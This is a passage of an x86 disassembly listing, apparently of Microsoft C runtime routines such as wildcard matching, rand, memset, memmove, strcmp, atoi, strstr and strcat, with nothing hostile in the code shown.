; --------------------------------------------------------------------------- loc_417146: ; CODE XREF: sub_4170B5+72j ; sub_4170B5+7Dj ... xor eax, eax loc_417148: ; CODE XREF: sub_4170B5+8Fj pop esi pop ebp retn sub_4170B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41714B proc near ; CODE XREF: sub_4170B5+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_41716C inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_41716C: ; CODE XREF: sub_41714B+19j push ebx push esi loc_41716E: ; CODE XREF: sub_41714B+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_41717C cmp [ebp+var_4], eax jnz short loc_4171C8 loc_41717C: ; CODE XREF: sub_41714B+2Aj test edi, edi jnz short loc_4171BD cmp bl, 2Dh jnz short loc_4171B1 mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_4171B1 cmp al, 5Dh jz short loc_4171B1 cmp [ebp+var_4], edi jnz short loc_4171B1 mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_4171BD cmp bl, al jg short loc_4171BD push 1 mov [edx], esi pop edi jmp short loc_4171BD ; --------------------------------------------------------------------------- loc_4171B1: ; CODE XREF: sub_41714B+38j ; sub_41714B+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_4171BD push 1 pop edi loc_4171BD: ; CODE XREF: sub_41714B+33j ; sub_41714B+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_41716E ; --------------------------------------------------------------------------- loc_4171C8: ; CODE XREF: sub_41714B+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_4171D5 mov ecx, eax sub ecx, edi mov edi, ecx loc_4171D5: ; CODE XREF: sub_41714B+82j cmp edi, eax jnz short loc_4171DE mov eax, [ebp+arg_4] inc dword ptr [eax] loc_4171DE: ; CODE XREF: sub_41714B+8Cj mov eax, edi pop edi leave retn sub_41714B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4171E3 proc near ; CODE XREF: sub_4170B5+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_4171FF: ; CODE XREF: sub_4171E3+3Aj cmp [eax], bl jz short loc_41721F mov cl, [ecx] cmp cl, 3Fh jz short loc_417214 cmp cl, 2Ah jnz short loc_41721F cmp cl, 3Fh jnz short loc_417217 loc_417214: ; CODE XREF: sub_4171E3+25j inc eax mov [edi], eax loc_417217: ; CODE XREF: sub_4171E3+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_4171FF ; --------------------------------------------------------------------------- loc_41721F: ; CODE XREF: sub_4171E3+1Ej ; sub_4171E3+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_41722A inc dword ptr [esi] jmp short loc_41721F ; --------------------------------------------------------------------------- loc_41722A: ; CODE XREF: sub_4171E3+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_41724B mov edx, [esi] cmp [edx], bl jz short loc_41723C xor eax, eax jmp short loc_4172AB ; --------------------------------------------------------------------------- loc_41723C: ; CODE XREF: sub_4171E3+53j cmp cl, bl jnz short loc_41724B mov ecx, [esi] cmp [ecx], bl jnz short loc_41724B push 1 pop eax jmp short loc_4172AB ; --------------------------------------------------------------------------- loc_41724B: ; CODE XREF: sub_4171E3+4Dj ; sub_4171E3+5Bj ... push eax push dword ptr [esi] call sub_4170B5 pop ecx test eax, eax pop ecx jnz short loc_417295 loc_417259: ; CODE XREF: sub_4171E3+B0j inc dword ptr [edi] mov eax, [edi] loc_41725D: ; CODE XREF: sub_4171E3+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_417275 cmp cl, 5Bh jz short loc_417275 cmp dl, bl jz short loc_417275 inc eax mov [edi], eax jmp short loc_41725D ; --------------------------------------------------------------------------- loc_417275: ; CODE XREF: sub_4171E3+82j ; sub_4171E3+87j ... mov eax, [edi] cmp [eax], bl jz short loc_41728C push eax push dword ptr [esi] call sub_4170B5 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_417291 ; --------------------------------------------------------------------------- loc_41728C: ; CODE XREF: sub_4171E3+96j mov [ebp+var_4], ebx xor eax, eax loc_417291: ; CODE XREF: sub_4171E3+A7j cmp eax, ebx jnz short loc_417259 loc_417295: ; CODE XREF: sub_4171E3+74j mov eax, [edi] cmp [eax], bl jnz short loc_4172A8 mov eax, [esi] cmp [eax], bl jnz short loc_4172A8 mov [ebp+var_4], 1 loc_4172A8: ; CODE XREF: sub_4171E3+B6j ; sub_4171E3+BCj mov eax, [ebp+var_4] loc_4172AB: ; CODE XREF: sub_4171E3+57j ; sub_4171E3+66j pop edi pop esi pop ebx leave retn sub_4171E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4172B0 proc near ; CODE XREF: sub_401000+64p ; sub_4010B5+308p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_419E38 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_4172F0 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_4172FD ; --------------------------------------------------------------------------- loc_4172F0: ; CODE XREF: sub_4172B0+36j lea eax, [ebp+var_20] push eax push 0 call sub_419D23 pop ecx pop ecx loc_4172FD: ; CODE XREF: sub_4172B0+3Ej mov eax, esi pop esi leave retn sub_4172B0 endp ; =============== S U B R O U T I N E ======================================= sub_417302 proc near ; CODE XREF: sub_401000+2Ep ; sub_401D82+46p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_433C20, eax retn sub_417302 endp ; =============== S U B R O U T I N E ======================================= sub_41730C proc near ; CODE XREF: sub_4010B5+CBp ; sub_4010B5+13Fp ... mov eax, dword_433C20 imul eax, 343FDh add eax, 269EC3h mov dword_433C20, eax sar eax, 10h and eax, 7FFFh retn sub_41730C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417330 proc near ; CODE XREF: sub_4010B5+281p ; sub_40144A+180p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_417383 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_417377 neg ecx and ecx, 3 jz short loc_417359 sub edx, ecx loc_417353: ; CODE XREF: sub_417330+27j mov [edi], al inc edi dec ecx jnz short loc_417353 loc_417359: ; CODE XREF: sub_417330+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_417377 rep stosd test edx, edx jz short loc_41737D loc_417377: ; CODE XREF: sub_417330+18j ; sub_417330+3Fj ... mov [edi], al inc edi dec edx jnz short loc_417377 loc_41737D: ; CODE XREF: sub_417330+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_417383: ; CODE XREF: sub_417330+Aj mov eax, [esp+arg_0] retn sub_417330 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417390 proc near ; CODE XREF: sub_4010B5+22Dp ; sub_4010B5+23Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_39 = byte ptr 41h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4173B0 cmp edi, eax jb loc_417528 loc_4173B0: ; CODE XREF: sub_417390+16j test edi, 3 jnz short loc_4173CC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- loc_4173CC: ; CODE XREF: sub_417390+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_4173E4 and eax, 3 add ecx, eax jmp dword ptr loc_4173EC+4[eax*4] ; --------------------------------------------------------------------------- loc_4173E4: ; CODE XREF: sub_417390+46j jmp dword ptr loc_4174E8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4173EC: ; CODE XREF: sub_417390+31j ; sub_417390+8Ej ... jmp off_41746C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_417400 dd offset loc_41742C dd offset loc_417450 ; --------------------------------------------------------------------------- loc_417400: ; DATA XREF: sub_417390+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41742C: ; DATA XREF: sub_417390+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_417450: ; DATA XREF: sub_417390+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41746C dd offset loc_4174CF ; DATA XREF: sub_417390:loc_4173ECr dd offset loc_4174BC dd offset loc_4174B4 dd offset loc_4174AC dd offset loc_4174A4 dd offset loc_41749C dd offset loc_417494 dd offset loc_41748C ; --------------------------------------------------------------------------- loc_41748C: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_417494: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41749C: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4174A4: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4174AC: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4174B4: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4174BC: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4174CF: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390:off_41746Co jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 4 off_4174D8 dd offset loc_4174E8 ; DATA XREF: sub_417390+35r ; sub_417390+92r ... dd offset loc_4174F0 dd offset loc_4174FC dd offset loc_417510 ; --------------------------------------------------------------------------- loc_4174E8: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4174F0: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4174FC: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_417510: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_417528: ; CODE XREF: sub_417390+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41755C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_417550 std rep movsd cld jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 10h loc_417550: ; CODE XREF: sub_417390+1B1j ; sub_417390+208j ... neg ecx jmp off_417620[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41755C: ; CODE XREF: sub_417390+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_417574 and eax, 3 sub ecx, eax jmp dword ptr loc_417574+4[eax*4] ; --------------------------------------------------------------------------- loc_417574: ; CODE XREF: sub_417390+1D6j ; DATA XREF: sub_417390+1DDr jmp off_417670[ecx*4] ; --------------------------------------------------------------------------- align 4 mov [ebp+arg_39], dh add [eax-2FFFBE8Bh], ch jnz short loc_4175C8 add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_417550 std rep movsd cld jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_417550 std rep movsd cld loc_4175C8: ; CODE XREF: sub_417390+1F5j jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_417550 std rep movsd cld jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_417624 dd offset loc_41762C dd offset loc_417634 dd offset loc_41763C dd offset loc_417644 dd offset loc_41764C dd offset loc_417654 off_417620 dd offset loc_417667 ; DATA XREF: sub_417390+1C2r ; --------------------------------------------------------------------------- loc_417624: ; DATA XREF: sub_417390+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41762C: ; DATA XREF: sub_417390+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_417634: ; DATA XREF: sub_417390+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41763C: ; DATA XREF: sub_417390+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_417644: ; DATA XREF: sub_417390+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41764C: ; DATA XREF: sub_417390+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_417654: ; DATA XREF: sub_417390+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_417667: ; CODE XREF: sub_417390+1C2j ; DATA XREF: sub_417390:off_417620o jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 10h off_417670 dd offset loc_417680 ; DATA XREF: sub_417390+1B7r ; sub_417390:loc_417574r ... dd offset loc_417688 dd offset loc_417698 dd offset loc_4176AC ; --------------------------------------------------------------------------- loc_417680: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_417688: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_417698: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4176AC: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_417390 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4176D0 proc near ; CODE XREF: sub_4010B5+FCp ; sub_4010B5+118p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41771C loc_4176E0: ; CODE XREF: sub_4176D0+3Cj ; sub_4176D0+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_417714 or al, al jz short loc_417710 cmp ah, [ecx+1] jnz short loc_417714 or ah, ah jz short loc_417710 shr eax, 10h cmp al, [ecx+2] jnz short loc_417714 or al, al jz short loc_417710 cmp ah, [ecx+3] jnz short loc_417714 add ecx, 4 add edx, 4 or ah, ah jnz short loc_4176E0 mov edi, edi loc_417710: ; CODE XREF: sub_4176D0+18j ; sub_4176D0+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_417714: ; CODE XREF: sub_4176D0+14j ; sub_4176D0+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41771C: ; CODE XREF: sub_4176D0+Ej test edx, 1 jz short loc_417738 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_417714 inc ecx or al, al jz short loc_417710 test edx, 2 jz short loc_4176E0 loc_417738: ; CODE XREF: sub_4176D0+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_417714 or al, al jz short loc_417710 cmp ah, [ecx+1] jnz short loc_417714 or ah, ah jz short loc_417710 add ecx, 2 jmp short loc_4176E0 sub_4176D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417760 proc near ; CODE XREF: sub_4010B5+19Ep ; sub_401A76+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_417779 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_417779: ; CODE XREF: sub_417760+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_417760 endp ; =============== S U B R O U T I N E ======================================= sub_417794 proc near ; CODE XREF: sub_41781F+4p ; sub_42094E+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41779C: ; CODE XREF: sub_417794+34j cmp dword_433E7C, 1 jle short loc_4177B4 movzx eax, byte ptr [edi] push 8 push eax call sub_41A642 pop ecx pop ecx jmp short loc_4177C3 ; --------------------------------------------------------------------------- loc_4177B4: ; CODE XREF: sub_417794+Fj movzx eax, byte ptr [edi] mov ecx, off_433C70 mov al, [ecx+eax*2] and eax, 8 loc_4177C3: ; CODE XREF: sub_417794+1Ej test eax, eax jz short loc_4177CA inc edi jmp short loc_41779C ; --------------------------------------------------------------------------- loc_4177CA: ; CODE XREF: sub_417794+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_4177DA cmp esi, 2Bh jnz short loc_4177DE loc_4177DA: ; CODE XREF: sub_417794+3Fj movzx esi, byte ptr [edi] inc edi loc_4177DE: ; CODE XREF: sub_417794+44j xor ebx, ebx loc_4177E0: ; CODE XREF: sub_417794+7Bj cmp dword_433E7C, 1 jle short loc_4177F5 push 4 push esi call sub_41A642 pop ecx pop ecx jmp short loc_417800 ; --------------------------------------------------------------------------- loc_4177F5: ; CODE XREF: sub_417794+53j mov eax, off_433C70 mov al, [eax+esi*2] and eax, 4 loc_417800: ; CODE XREF: sub_417794+5Fj test eax, eax jz short loc_417811 lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_4177E0 ; --------------------------------------------------------------------------- loc_417811: ; CODE XREF: sub_417794+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41781A neg eax loc_41781A: ; CODE XREF: sub_417794+82j pop edi pop esi pop ebp pop ebx retn sub_417794 endp ; =============== S U B R O U T I N E ======================================= sub_41781F proc near ; CODE XREF: sub_4013EC+12p ; sub_4013EC+1Dp ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_417794 pop ecx retn sub_41781F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41782A proc near ; CODE XREF: sub_40144A+318p ; sub_401D82+460p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_419E38 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_417869 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_417876 ; --------------------------------------------------------------------------- loc_417869: ; CODE XREF: sub_41782A+35j lea eax, [ebp+var_20] push eax push 0 call sub_419D23 pop ecx pop ecx loc_417876: ; CODE XREF: sub_41782A+3Dj mov eax, esi pop esi leave retn sub_41782A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417880 proc near ; CODE XREF: sub_401D82+2D8p ; sub_401D82+2F8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_4178FA mov dh, [ecx+1] test dh, dh jz short loc_4178E7 loc_417898: ; CODE XREF: sub_417880+52j ; sub_417880+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_4178BA test al, al jz short loc_4178B4 loc_4178A9: ; CODE XREF: sub_417880+32j mov al, [esi] inc esi loc_4178AC: ; CODE XREF: sub_417880+3Fj cmp al, dl jz short loc_4178BA test al, al jnz short loc_4178A9 loc_4178B4: ; CODE XREF: sub_417880+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_4178BA: ; CODE XREF: sub_417880+23j ; sub_417880+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_4178AC lea edi, [esi-1] loc_4178C4: ; CODE XREF: sub_417880+63j mov ah, [ecx+2] test ah, ah jz short loc_4178F3 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_417898 mov al, [ecx+3] test al, al jz short loc_4178F3 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_4178C4 jmp short loc_417898 ; --------------------------------------------------------------------------- loc_4178E7: ; CODE XREF: sub_417880+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_418F56 ; --------------------------------------------------------------------------- loc_4178F3: ; CODE XREF: sub_417880+49j ; sub_417880+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_4178FA: ; CODE XREF: sub_417880+Fj mov eax, edi pop esi pop ebx pop edi retn sub_417880 endp ; =============== S U B R O U T I N E ======================================= sub_417900 proc near ; CODE XREF: sub_4022C6+94p ; sub_405A58+7Cp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_417915 or eax, 0FFFFFFFFh jmp short loc_41794F ; --------------------------------------------------------------------------- loc_417915: ; CODE XREF: sub_417900+Ej test al, 83h jz short loc_41794D push esi call sub_41A7D0 push esi mov edi, eax call sub_41A76A push dword ptr [esi+10h] call sub_41A6B7 add esp, 0Ch test eax, eax jge short loc_41793B or edi, 0FFFFFFFFh jmp short loc_41794D ; --------------------------------------------------------------------------- loc_41793B: ; CODE XREF: sub_417900+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41794D push eax call sub_417C3B and dword ptr [esi+1Ch], 0 pop ecx loc_41794D: ; CODE XREF: sub_417900+17j ; sub_417900+39j ... mov eax, edi loc_41794F: ; CODE XREF: sub_417900+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_417900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417956 proc near ; CODE XREF: sub_4022C6+8Ep ; sub_40EE72+2B0Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_41A8A2 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_419E38 push [ebp+arg_0] mov edi, eax push esi call sub_41A92F add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_417956 endp ; =============== S U B R O U T I N E ======================================= sub_417988 proc near ; CODE XREF: sub_4179A8+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41AADC test eax, eax jnz short loc_417992 retn ; --------------------------------------------------------------------------- loc_417992: ; CODE XREF: sub_417988+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41A96C add esp, 10h retn sub_417988 endp ; =============== S U B R O U T I N E ======================================= sub_4179A8 proc near ; CODE XREF: sub_4022C6+54p ; sub_405A58+2Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_417988 add esp, 0Ch retn sub_4179A8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4179C0 proc near ; CODE XREF: sub_405AF2+2BFp ; sub_40A7D7+75p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_417A31 sub_4179C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4179D0 proc near ; CODE XREF: sub_4022C6+32p ; sub_4022C6+43p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_4179EC loc_4179DD: ; CODE XREF: sub_4179D0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_417A1F test ecx, 3 jnz short loc_4179DD loc_4179EC: ; CODE XREF: sub_4179D0+Bj ; sub_4179D0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_4179EC mov eax, [ecx-4] test al, al jz short loc_417A2E test ah, ah jz short loc_417A29 test eax, 0FF0000h jz short loc_417A24 test eax, 0FF000000h jz short loc_417A1F jmp short loc_4179EC ; --------------------------------------------------------------------------- loc_417A1F: ; CODE XREF: sub_4179D0+12j ; sub_4179D0+4Bj lea edi, [ecx-1] jmp short loc_417A31 ; --------------------------------------------------------------------------- loc_417A24: ; CODE XREF: sub_4179D0+44j lea edi, [ecx-2] jmp short loc_417A31 ; --------------------------------------------------------------------------- loc_417A29: ; CODE XREF: sub_4179D0+3Dj lea edi, [ecx-3] jmp short loc_417A31 ; --------------------------------------------------------------------------- loc_417A2E: ; CODE XREF: sub_4179D0+39j lea edi, [ecx-4] loc_417A31: ; CODE XREF: sub_4179C0+5j ; sub_4179D0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_417A56 loc_417A3D: ; CODE XREF: sub_4179D0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_417AA8 mov [edi], dl inc edi test ecx, 3 jnz short loc_417A3D jmp short loc_417A56 ; --------------------------------------------------------------------------- loc_417A51: ; CODE XREF: sub_4179D0+9Ej ; sub_4179D0+B8j mov [edi], edx add edi, 4 loc_417A56: ; CODE XREF: sub_4179D0+6Bj ; sub_4179D0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_417A51 test dl, dl jz short loc_417AA8 test dh, dh jz short loc_417A9F test edx, 0FF0000h jz short loc_417A92 test edx, 0FF000000h jz short loc_417A8A jmp short loc_417A51 ; --------------------------------------------------------------------------- loc_417A8A: ; CODE XREF: sub_4179D0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_417A92: ; CODE XREF: sub_4179D0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr 